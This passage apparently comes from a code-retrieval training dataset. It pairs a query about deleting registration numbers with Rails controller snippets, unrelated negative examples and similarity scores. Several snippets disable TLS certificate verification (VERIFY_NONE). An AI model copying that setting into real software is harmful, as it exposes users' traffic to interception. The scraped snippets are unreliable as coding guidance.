@registration_request.update(registration_request_params)\n head :no_content\n else\n render json: @registration_request.errors, status: :unprocessable_entity\n end\n end", "def destroy\n @registration_number = RegistrationNumber.find(params[:id])\n @registration_number.destroy\n\n respond_to do |format|\n format.html { redirect_to(registration_numbers_url) }\n format.xml { head :ok }\n end\n end", "def update\n @registration = Registration.find(params[:id])\n\n respond_to do |format|\n if @registration.update_attributes(params[:registration])\n flash[:notice] = 'Påmeldingen ble oppdatert!'\n format.html { redirect_to(registrations_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"index\" }\n format.xml { render :xml => @registration.errors, :status => :unprocessable_entity }\n end\n end\n end", "def reset_registration_ids\n if session[:user_id] then\n user = User.find(11)\n user.update_attribute(:registration_id, \"XX\")\n #User.all.each do |user|\n # if user.id == 11 then\n # user.update_attribute(:registration_id, \"XX\")\n # #user.registration_id = \"\"\n # #user.save(validate: false)\n # end\n #end\n render nothing: true, status: :ok\n else\n redirect_to admin_login_url\n end\n end", "def test_putpoi_update_valid\n nd = create(:node)\n cs_id = nd.changeset.id\n user = nd.changeset.user\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, nd.version, nd.id, nd.lon, nd.lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 1, result[4]\n\n # Now try to update again, with a different lat/lon, using the updated version number\n lat = nd.lat + 0.1\n lon = nd.lon - 0.1\n amf_content \"putpoi\", \"/2\", [\"#{user.email}:test\", cs_id, nd.version + 1, nd.id, lon, lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/2\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 2, result[4]\n end", "def register\n puts \"register\"\n ApiBase.client.put(\"/device/#{self.id}\", self.to_json)\n end", "def update\n @registration = Registration.find(params[:id])\n\n respond_to do |format|\n if @registration.update_attributes(params[:registration])\n format.html { redirect_to(@registration, :notice => 'Registration was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @registration.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @registration_number = RegistrationNumber.new(registration_number_params)\n\n respond_to do |format|\n if @registration_number.save\n format.html { redirect_to @registration_number, notice: 'Registration number was successfully created.' }\n format.json { render :show, status: :created, location: @registration_number }\n else\n format.html { render :new }\n format.json { render json: @registration_number.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @registration = Registration.find(params[:id])\n\n respond_to do |format|\n if @registration.update_attributes(params[:registration])\n flash[:notice] = 'Registration was successfully updated.'\n format.html { redirect_to(@registration) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @registration.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @registration = Registration.find(params[:id])\n\n respond_to do |format|\n if @registration.update_attributes(params[:registration])\n flash[:notice] = 'Registration was successfully updated.'\n format.html { redirect_to(@registration) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @registration.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def update_rest\n @page_usage_event = PageUsageEvent.find(params[:id])\n\n respond_to do |format|\n if @page_usage_event.update_attributes(params[:page_usage_event])\n flash[:notice] = 'PageUsageEvent was successfully updated.'\n format.html { redirect_to(@page_usage_event) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page_usage_event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n resource_path = \"/projects/#{project_id}/people/#{id}\"\n Request.put(resource_path, self.to_xml('person'))\n end", "def set_invoice_number\n self.invoice_number = self.id + 777777\n self.save\n end", "def registerpush\n response = {:success => \"false\"}\n @current_user = User.find_by_access_token(params[:access_token].to_s)\n if @current_user.nil?\n response = {:success => \"false\"}\n else\n @current_user.update_attribute('device_token', params[:device_token].to_s)\n response = {:success => \"true\"}\n end\n \n respond_to do |format|\n format.xml { render :xml => response.to_xml }\n format.json { render :json => response.to_json }\n end\n \n end", "def create\n @request = Request.new(params[:request])\n\n registration_ids = []\n @request.num_phones = 0\n\n PhoneRegistration.all.each { |p|\n if p.device_ident != @request.requester_device_ident\n registration_ids.push(p.registration_ident)\n @request.num_phones = @request.num_phones + 1\n end\n }\n\n @request.status = \"active\"\n @request.num_errors = 0\n id = Request.all.size + 1\n\n\n gcm = GCM.new(\"api_key\")\n options = {data: {program: @request.intent_program, request_id: id}}\n# response = gcm.send_notification(registration_ids, options)\n\n respond_to do |format|\n if @request.save\n format.html { redirect_to @request, notice: 'Request was successfully created.' }\n format.json { render json: @request, status: :created, location: @request }\n else\n format.html { render action: \"new\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end", "def register_params\n params[:register][:number] = \"#{params[:register][:number_1]}-#{params[:register][:number_2]}-#{params[:register][:number_3]}\"\n 3.times{ |i| params[:register].delete(\"number_#{i+1}\".intern) }\n puts params\n params.require(:register).permit(:name, :number, :range, :time, :todo)\n end", "def update\n if @registration.update(registration_params)\n render :show, status: :ok, location: @registration\n else\n render json: @registration.errors, status: :unprocessable_entity\n end\n end", "def update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}/volumes\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.request_uri)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n end", "def put(invoice_number, invoice_sequence)\n #xml = order_update_template % { status: status.to_i }\n #put_request(t_url(:order, order_id), xml)\n end", "def update\n @registration = Registration.find(params[:id])\n student = Student.find(@registration.student_id).id\n err = @registration.save_registration(params[:registration], student)\n redirect_to registrations_path\n end", "def update\n\n if !params[:number][:business_number].blank?\n params[:number][:business_number] = \"+1\"+Phony.normalize(params[:number][:business_number])\n end\n\n if !params[:number][:tracking_number].blank?\n params[:number][:tracking_number] = \"+1\"+Phony.normalize(params[:number][:tracking_number])\n end\n\n respond_to do |format|\n if @number.update(number_params)\n format.html { redirect_to numbers_url, notice: 'Number was successfully updated.' }\n format.json { render :show, status: :ok, location: @number }\n else\n format.html { render :edit }\n format.json { render json: @number.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n if !params[:number][:business_number].blank?\n params[:number][:business_number] = \"+1\"+Phony.normalize(params[:number][:business_number])\n end\n\n if !params[:number][:tracking_number].blank?\n params[:number][:tracking_number] = \"+1\"+Phony.normalize(params[:number][:tracking_number])\n end\n\n respond_to do |format|\n if @number.update(number_params)\n format.html { redirect_to numbers_url, notice: 'Number was successfully updated.' }\n format.json { render :show, status: :ok, location: @number }\n else\n format.html { render :edit }\n format.json { render json: @number.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def new\n @registration_number = RegistrationNumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registration_number }\n end\n end", "def register\n \n registration_service = DeviceRegistrationService.new\n registration_response = registration_service.register(registration_params)\n\n if registration_response[:success]\n render json: registration_response, status: :ok\n else\n render json: registration_response, status: :bad_request\n end\n end", "def update\n\n respond_to do |format|\n if @phone_number.update_attributes(params[:phone_number])\n flash[:notice] = 'Phone number was successfully updated.'\n format.html { redirect_to(@phone_number) }\n format.mobile { redirect_to profile_kontact_kontact_information_plural_fields_path(@profile, @kontact)}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @phone_number.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @registration.update(registration_params)\n format.html { redirect_to @registration, notice: \"Registration was successfully updated.\" }\n format.json { render :show, status: :ok, location: @registration }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def modify_relationship action\n File.open(@user_id_list, 'r') do |file|\n file.each do |user_id|\n url = API + \"users/#{user_id.gsub(/(\\n|,)$/, \"\")}/relationship?access_token=\" + @access_token\n response = RestClient.post(url, access_token: @access_token, action: action)\n sleep(rand(3..6))\n\n puts response.code == 200 ? \"Successfully #{action}: #{user_id}\" : response\n end\n end\n end", "def set_registration\n @registration = Registration.find_by(id: params[:id])\n end", "def update_rest\n @item_usage = ItemUsage.find(params[:id])\n\n respond_to do |format|\n if @item_usage.update_attributes(params[:item_usage])\n flash[:notice] = 'ItemUsage was successfully updated.'\n format.html { redirect_to(@item_usage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item_usage.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @registration = Registration.find(params[:id])\n\n respond_to do |format|\n if @registration.update_attributes(params[:registration])\n format.html { redirect_to @registration, notice: 'Registration was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def update\n @registration = Registration.find(params[:id])\n\n respond_to do |format|\n if @registration.update_attributes(params[:registration])\n format.html { redirect_to @registration, :notice => 'Registration was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @registration.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_service_registers\n ServiceRegister.update_all('operator_aptour_id = id_ope')\n end", "def show\n @registration_number = RegistrationNumber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @registration_number }\n end\n end", "def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end", "def update\n respond_to do |format|\n if @registration.update(_registration_params)\n format.html { redirect_to @registration, notice: 'Registration was successfully updated.' }\n format.json { render :show, status: :ok, location: @registration }\n else\n format.html { render :edit }\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_registration\n @registration = Registration.find_by_id(params[:id])\n end", "def set_registration\n @registration = Registration.find_by_kode_formulir(params[:id])\n end", "def _set_serial_number number\n appname = @appname\n pattern = Regexp.new \"^#{appname}:.*$\"\n filename = @app_serial_path || \"serial_numbers\"\n # during testing redo this file does not exist, so i get errors\n if !File.exists? filename\n _get_serial_number\n end\n _backup filename\n change_row filename, pattern, \"#{appname}:#{number}\"\n end", "def update\n respond_to do |format|\n if @picture_number.update(picture_number_params)\n format.html { redirect_to @picture_number, notice: 'Picture number was successfully updated.' }\n format.json { render :show, status: :ok, location: @picture_number }\n else\n format.html { render :edit }\n format.json { render json: @picture_number.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_people_number\n @people_number = PeopleNumber.find(params[:id])\n end", "def register\n if params[:id]\n user = User.find(params[:id])\n user.update_attributes(params.only(\"first_name\",\"last_name\").merge(:status => :active,:app_version => params[:v]))\n else\n normalized_mobile_number = PhoneHandling.normalize_phone_number(params[:mobile_number])\n if user = User.find_by_mobile_number(normalized_mobile_number)\n user.status = :active\n user.app_version = params[:v]\n params[:first_name] and user.first_name = params[:first_name]\n params[:last_name] and user.last_name = params[:last_name]\n user.save!\n # Let's check the Notifications to see if this user has been invited...\n elsif n = Notification.to_number(normalized_mobile_number).first\n user = n.recipient\n user.update_attributes(params.only(\"first_name\",\"last_name\").merge(:status => :active,:app_version => params[:v]))\n else\n # Create a new user\n user = User.create!(params.only(\"first_name\",\"last_name\",\"mobile_number\").merge(:status => :active,:app_version => params[:v]) )\n end\n end\n set_and_cookie_current_user(user)\n render :json => user.attributes_for_app\n end", "def update\n @appointmentregistration = Appointmentregistration.find(params[:id])\n\n respond_to do |format|\n if @appointmentregistration.update_attributes(params[:appointmentregistration])\n format.html { redirect_to(@appointmentregistration, :notice => 'Appointmentregistration was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @appointmentregistration.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @registration = Registration.find(params[:id])\n\n respond_to do |format|\n if @registration.update_attributes(params[:registration])\n format.html { redirect_to registrations_path, notice: 'Registration was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def registration_number_params\n params.require(:registration_number).permit(:name, :state_id, :office)\n end", "def update\n @phone = Phone.find(params[:id])\n\n respond_to do |format|\n if @phone.update_attributes(params[:phone])\n flash[:notice] = 'Phone_number was successfully updated.'\n format.html { redirect_to(@phone) }\n #format.xml { head :ok }\n else\n format.html { render :action => \"new\" }\n #format.xml { render :xml => @phone.errors, :status => :unprocessable_entity }\n end\n end\n end", "def modify_identifier(identifier, metadata_hash)\n request_uri = '/id/' + identifier\n uri = URI(ENDPOINT + request_uri)\n request = Net::HTTP::Post.new uri.request_uri\n response = call_api(uri, request, metadata_hash)\nend", "def set_serial_number number\n appname = @appname\n pattern = Regexp.new \"^#{appname}:.*$\"\n filename = @app_serial_path || \"serial_numbers\"\n # during testing redo this file does not exist, so i get errors\n if !File.exists? filename\n get_serial_number\n end\n backup filename\n # from Sed\n change_row filename, pattern, \"#{appname}:#{number}\"\n end", "def update\n respond_to do |format|\n if @registration.update(registration_params)\n format.html { redirect_to @registration, notice: 'Registration was successfully updated.' }\n format.json { render :show, status: :ok, location: @registration }\n else\n format.html { render :edit }\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @registration.update(registration_params)\n format.html { redirect_to @registration, notice: 'Registration was successfully updated.' }\n format.json { render :show, status: :ok, location: @registration }\n else\n format.html { render :edit }\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @registration.update(registration_params)\n format.html { redirect_to @registration, notice: 'Registration was successfully updated.' }\n format.json { render :show, status: :ok, location: @registration }\n else\n format.html { render :edit }\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n get_credentials\n begin\n response = resource[\"/update/#{app}\"].post(:apikey => @credentials[1], :frequency => options[:frequency])\n rescue RestClient::InternalServerError\n display \"An error has occurred.\"\n end\n display response.to_s\n end", "def set_registration\n @registration = Registration.find(params[:id])\n end", "def update\n respond_to do |format|\n if @registration.update_attributes(params[:registration].only('outcome_type_id','outcome','inflection_date','outcome_date'))\n flash[:notice] = 'Registration was successfully updated.'\n format.html { redirect_to([@patient]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @registration.errors, :status => :unprocessable_entity }\n end\n end\n end", "def save_registration(fname)\n @mim.save_registration fname\n end", "def update\n respond_to do |format|\n if @device_registration.update(device_registration_params)\n format.html { redirect_to @device_registration, notice: 'Device registration was successfully updated.' }\n format.json { render :show, status: :ok, location: @device_registration }\n else\n format.html { render :edit }\n format.json { render json: @device_registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @people_number.update(people_number_params)\n format.html { redirect_to @people_number, notice: 'People number was successfully updated.' }\n format.json { render :show, status: :ok, location: @people_number }\n else\n format.html { render :edit }\n format.json { render json: @people_number.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_post_invoices_xml \n Redmine::ApiTest::Base.should_allow_api_authentication(:post,\n '/invoices.xml',\n {:invoice => {:project_id => 1, :number => 'INV/TEST-1'}},\n {:success_code => :created})\n \n assert_difference('Invoice.count') do\n post '/invoices.xml', {:invoice => {:project_id => 1, :number => 'INV/TEST-1', :contact_id => 1, :status_id => 1, :invoice_date => Date.today}}, credentials('admin')\n end\n\n invoice = Invoice.first(:order => 'id DESC')\n assert_equal 'INV/TEST-1', invoice.number\n \n assert_response :created\n assert_equal 'application/xml', @response.content_type\n assert_tag 'invoice', :child => {:tag => 'id', :content => invoice.id.to_s}\n end", "def update\n @registration_code = RegistrationCode.find(params[:id])\n\n respond_to do |format|\n if @registration_code.update_attributes(params[:registration_code])\n format.html { redirect_to(registration_codes_path, :notice => 'RegistrationCode was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @registration_code.errors, :status => :unprocessable_entity }\n end\n end\n end", "def trust_registration_number; end", "def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end", "def update\n respond_to do |format|\n if @registration.update(registration_params)\n format.html { redirect_to member_path(@registration.member_id), notice: 'Registration was successfully updated.' }\n format.json { render :show, status: :ok, location: @registration }\n else\n @member = Member.find(@registration.member_id)\n format.html { render :edit }\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n call_params = user_taxi_call_params\n\n if @user_taxi_call.pending && call_params[:accepted] && @user_taxi_call.update(call_params)\n notification = Rpush::Gcm::Notification.new\n taxi = Taxi.find(@user_taxi_call.taxi_id)\n taxi_user = taxi.user\n client_user = User.find(@user_taxi_call.user_id)\n regid = client_user.registration_id\n taxi.omw_to = client_user.id\n taxi_user.save!\n if !regid.nil?\n notification.app = Rpush::Gcm::App.find_by_name(\"Taxi Tapp GCM\")\n notification.registration_ids = [regid]\n\n notification.data = {\n message: taxi_user.get_full_name + \" is on the way to pick you up!\\nRequest ID: \" + @user_taxi_call.id.to_s,\n call_id: @user_taxi_call.id,\n accepted: true\n }\n\n notification.save!\n Rpush.push\n end\n\n format.html { redirect_to @user_taxi_call, notice: 'User taxi call was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_taxi_call }\n else\n format.html { render :edit }\n format.json { render json: @user_taxi_call.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_telephone_number(account_number, telephone_number, telephone_number_form)\r\n # the base uri for api requests\r\n query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n query_builder << '/accounts/{account_number}/dids/{telephone_number}'\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n 'account_number' => account_number,\r\n 'telephone_number' => telephone_number\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'content-type' => 'application/json; charset=utf-8',\r\n 'X-Auth-Token' => Configuration.x_auth_token\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.patch query_url, headers: headers, parameters: telephone_number_form.to_json\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new 'You are not authenticated', 401, response.raw_body\r\n elsif response.code == 403\r\n raise APIException.new 'This action needs a valid WSSE header', 403, response.raw_body\r\n elsif response.code == 404\r\n raise APIException.new 'Resource not found', 404, response.raw_body\r\n elsif response.code == 400\r\n raise APIException.new 'Http bad request', 400, response.raw_body\r\n elsif !response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', response.code, response.raw_body\r\n end\r\n end" ]
[ "0.62140137", "0.6025058", "0.5943858", "0.5885716", "0.5861695", "0.56930923", "0.56733656", "0.5445109", "0.5432394", "0.53746146", "0.5352155", "0.5300324", "0.5295653", "0.52790403", "0.5226414", "0.52107775", "0.5176867", "0.5154576", "0.5083715", "0.5061558", "0.5055035", "0.50473773", "0.5038182", "0.50349844", "0.50349844", "0.5017817", "0.5001649", "0.49884126", "0.4976094", "0.49706993", "0.49678218", "0.49421552", "0.49359173", "0.4934572", "0.49225262", "0.49154603", "0.4910911", "0.48826033", "0.48771372", "0.48771372", "0.48709583", "0.48709583", "0.48709583", "0.48709583", "0.48709583", "0.48709583", "0.48709583", "0.48709583", "0.48709583", "0.48709583", "0.48709583", "0.48709583", "0.48709583", "0.48709583", "0.48709583", "0.48709583", "0.48709583", "0.48690277", "0.48568833", "0.48534465", "0.48491272", "0.48371717", "0.48353314", "0.48347813", "0.4833509", "0.48330006", "0.48330006", "0.48296747", "0.48224992", "0.48218927", "0.48147205", "0.48064438", "0.48062462", "0.47950396", "0.47900435", "0.47896627", "0.47801235", "0.47786707", "0.47766116", "0.47735748", "0.47674438", "0.47650713", "0.47646964", "0.47622368", "0.4753801", "0.4753801", "0.4753801", "0.47529495", "0.4751757", "0.47471863", "0.47458595", "0.47457466", "0.4742281", "0.47407547", "0.47284535", "0.47250313", "0.47215775", "0.47179925", "0.4711033", "0.47063923" ]
0.6782747
0
DELETE /moto_registration_numbers/1 DELETE /moto_registration_numbers/1.xml
def destroy @moto_registration_number = MotoRegistrationNumber.find(params[:id]) @moto_registration_number.destroy respond_to do |format| format.html { redirect_to(moto_registration_numbers_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @registration_number = RegistrationNumber.find(params[:id])\n @registration_number.destroy\n\n respond_to do |format|\n format.html { redirect_to(registration_numbers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @registration = NodeRegistration.find(params[:id])\n @registration.destroy\n\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end", "def destroy\n @patientregistration_data = PatientregistrationData.find(params[:id])\n @patientregistration_data.destroy\n\n respond_to do |format|\n format.html { redirect_to(patientregistration_datas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @registration = Registration.find(params[:id])\n @registration.destroy\n\n respond_to do |format|\n format.html { redirect_to(registrations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @registration = Registration.find(params[:id])\n @registration.destroy\n\n respond_to do |format|\n format.html { redirect_to(registrations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @registration = Registration.find(params[:id])\n @registration.destroy\n\n respond_to do |format|\n format.html { redirect_to(registrations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @registration = Registration.find(params[:id])\n @registration.destroy\n\n respond_to do |format|\n format.html { redirect_to(registrations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @registration = Registration.find(params[:id])\n @registration.destroy\n\n respond_to do |format|\n format.html { redirect_to(registrations_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @appointmentregistration = Appointmentregistration.find(params[:id])\n @appointmentregistration.destroy\n\n respond_to do |format|\n format.html { redirect_to(appointmentregistrations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ministerios = Ministerios.find(params[:id])\n @ministerios.destroy\n\n respond_to do |format|\n format.html { redirect_to(ministerios_url) }\n format.xml { head :ok }\n end\n end", "def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end", "def destroy\n @regiaos = Regiao.find(params[:id])\n @regiaos.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end", "def deleteEntityFax( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/fax\",params)\n end", "def destroy\n @reqinfo = Reqinfo.find(params[:id])\n @reqinfo.destroy\n\n respond_to do |format|\n format.html { redirect_to(reqinfos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @genbank_file.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "def destroy\n @registration_request.destroy\n\n head :no_content\n end", "def destroy\n @moto_user_phone = MotoUserPhone.find(params[:id])\n @moto_user_phone.destroy\n\n respond_to do |format|\n format.html { redirect_to(moto_user_phones_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @telefono = @persona.telefonos.find(params[:id])\n @telefono.destroy\n\n respond_to do |format|\n format.html { redirect_to(persona_telefonos_url(@persona)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @node_config = NodeConfig.destroy(params[:id])\n xml=@node_config.to_xml\n json=@node_config.to_json\n @node_config.destroy\n\n respond_to do 